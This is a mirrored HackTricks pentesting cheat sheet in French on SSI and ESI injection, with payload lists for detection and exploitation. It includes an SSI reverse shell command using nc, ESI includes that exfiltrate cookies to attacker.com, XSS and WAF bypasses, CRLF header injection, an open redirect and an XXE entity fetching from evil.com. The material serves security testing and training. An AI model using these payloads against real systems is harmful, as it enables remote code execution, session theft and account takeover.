Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

12 KiB
Raw Blame History

Injection de Server Side Inclusion/Edge Side Inclusion

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Informations de base sur Server Side Inclusion

Les SSI (Server Side Includes) sont des directives qui sont placées dans des pages HTML et évaluées sur le serveur pendant que les pages sont servies. Elles vous permettent d'ajouter du contenu généré dynamiquement à une page HTML existante, sans avoir à servir toute la page via un programme CGI ou une autre technologie dynamique.
Par exemple, vous pourriez placer une directive dans une page HTML existante, telle que :

<!--#echo var="DATE_LOCAL" -->

Et, lorsque la page est servie, ce fragment sera évalué et remplacé par sa valeur :

Mardi, 15-Jan-2013 19:28:54 EST

La décision d'utiliser SSI, et quand faire en sorte que votre page soit entièrement générée par un programme, est généralement une question de combien de la page est statique et combien doit être recalculé à chaque fois que la page est servie. SSI est un excellent moyen d'ajouter de petits morceaux d'informations, comme l'heure actuelle - montrée ci-dessus. Mais si une majorité de votre page est générée au moment où elle est servie, vous devez chercher une autre solution. (Définition tirée de ici).

Vous pouvez inférer la présence de SSI si l'application web utilise des fichiers avec les extensions ** .shtml, .shtm ou .stm**, mais ce n'est pas le seul cas.

Une expression SSI typique a le format suivant :

<!--#directive param="value" -->

Vérification

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Inclusion côté serveur distant (Edge Side Inclusion)

Il y a un problème de mise en cache d'informations ou d'applications dynamiques car une partie du contenu peut varier pour la prochaine fois que le contenu est récupéré. C'est à cela que sert ESI, pour indiquer à l'aide de balises ESI le contenu dynamique qui doit être généré avant d'envoyer la version mise en cache.
Si un attaquant parvient à injecter une balise ESI dans le contenu en cache, alors, il pourrait être capable d'injecter un contenu arbitraire dans le document avant qu'il ne soit envoyé aux utilisateurs.

Détection d'ESI

L'en-tête suivant dans une réponse du serveur signifie que le serveur utilise ESI :

Surrogate-Control: content="ESI/1.0"

Si vous ne trouvez pas cet en-tête, le serveur pourrait quand même utiliser ESI.
Une approche d'exploitation à l'aveugle peut également être utilisée car une requête devrait arriver au serveur de l'attaquant :

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

Exploitation ESI

GoSecure a créé un tableau pour nous aider à comprendre les attaques possibles que nous pouvons tenter contre différents logiciels compatibles avec ESI, en fonction des fonctionnalités prises en charge. Fournissons d'abord quelques explications concernant les noms des colonnes du tableau ci-dessous :

  • Includes : Prend en charge la directive <esi:includes>
  • Vars : Prend en charge la directive <esi:vars>. Utile pour contourner les filtres XSS
  • Cookie : Les cookies du document sont accessibles au moteur ESI
  • Upstream Headers Required : Les applications de substitution ne traiteront pas les instructions ESI à moins que l'application amont ne fournisse les en-têtes
  • Host Allowlist : Dans ce cas, les inclusions ESI ne sont possibles que depuis les serveurs hôtes autorisés, rendant le SSRF, par exemple, possible uniquement contre ces hôtes
Logiciel Includes Vars Cookies Upstream Headers Required Host Whitelist
Squid3 Oui Oui Oui Oui Non
Varnish Cache Oui Non Non Oui Oui
Fastly Oui Non Non Non Oui
Akamai ESI Test Server (ETS) Oui Oui Oui Non Non
NodeJS esi Oui Oui Oui Non Non
NodeJS nodesi Oui Non Non Non Optionnel

XSS

La directive ESI suivante chargera un fichier arbitraire à l'intérieur de la réponse du serveur

<esi:include src=http://attacker.com/xss.html>

Le fichier http://attacker.com/xss.html peut contenir une charge utile XSS comme <script>alert(1)</script>

Contourner la protection XSS côté client

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Vol de Cookie

  • Vol de cookie à distance
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • Voler un cookie HTTP_ONLY avec XSS en le reflétant dans la réponse :
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
  • Prise de contrôle complète de compte par réflexion de cookies

Fichier Local Privé

Ne pas confondre avec une "Inclusion de Fichier Local" :

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Redirection Ouverte

Ce qui suit ajoutera un en-tête Location à la réponse

<!--esi $add_header('Location','http://attacker.com') -->

Ajouter un en-tête

  • Ajouter un en-tête dans une requête forcée
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • Ajouter un en-tête dans la réponse (utile pour contourner "Content-Type: text/json" dans une réponse avec XSS)
<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

CRLF dans l'en-tête Add (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Débogage Akamai

Cela enverra des informations de débogage incluses dans la réponse :

<esi:debug/>

ESI + XSLT = XXE

Il est également possible d'ajouter des inclusions ESI basées sur ** _eXtensible Stylesheet Language Transformations (XSLT)_ ** en spécifiant la valeur xslt au paramètre dca. L'inclusion suivante amènera le surrogate HTTP à demander le fichier XML et XSLT. Le fichier XSLT est ensuite utilisé pour filtrer le fichier XML. Ce fichier XML peut être utilisé pour effectuer des attaques XML External Entity (XXE). Cela permet aux attaquants de réaliser des attaques SSRF, ce qui n'est pas très utile puisque cela doit être effectué à travers des inclusions ESI, qui est un vecteur SSRF en lui-même. Les DTD externes ne sont pas analysées car la bibliothèque sous-jacente (Xalan) ne prend pas en charge cette fonctionnalité. Cela signifie que nous ne pouvons pas extraire des fichiers locaux.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

Le fichier XSLT :

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Consultez la page XSLT :

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Références

Liste de détection de Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :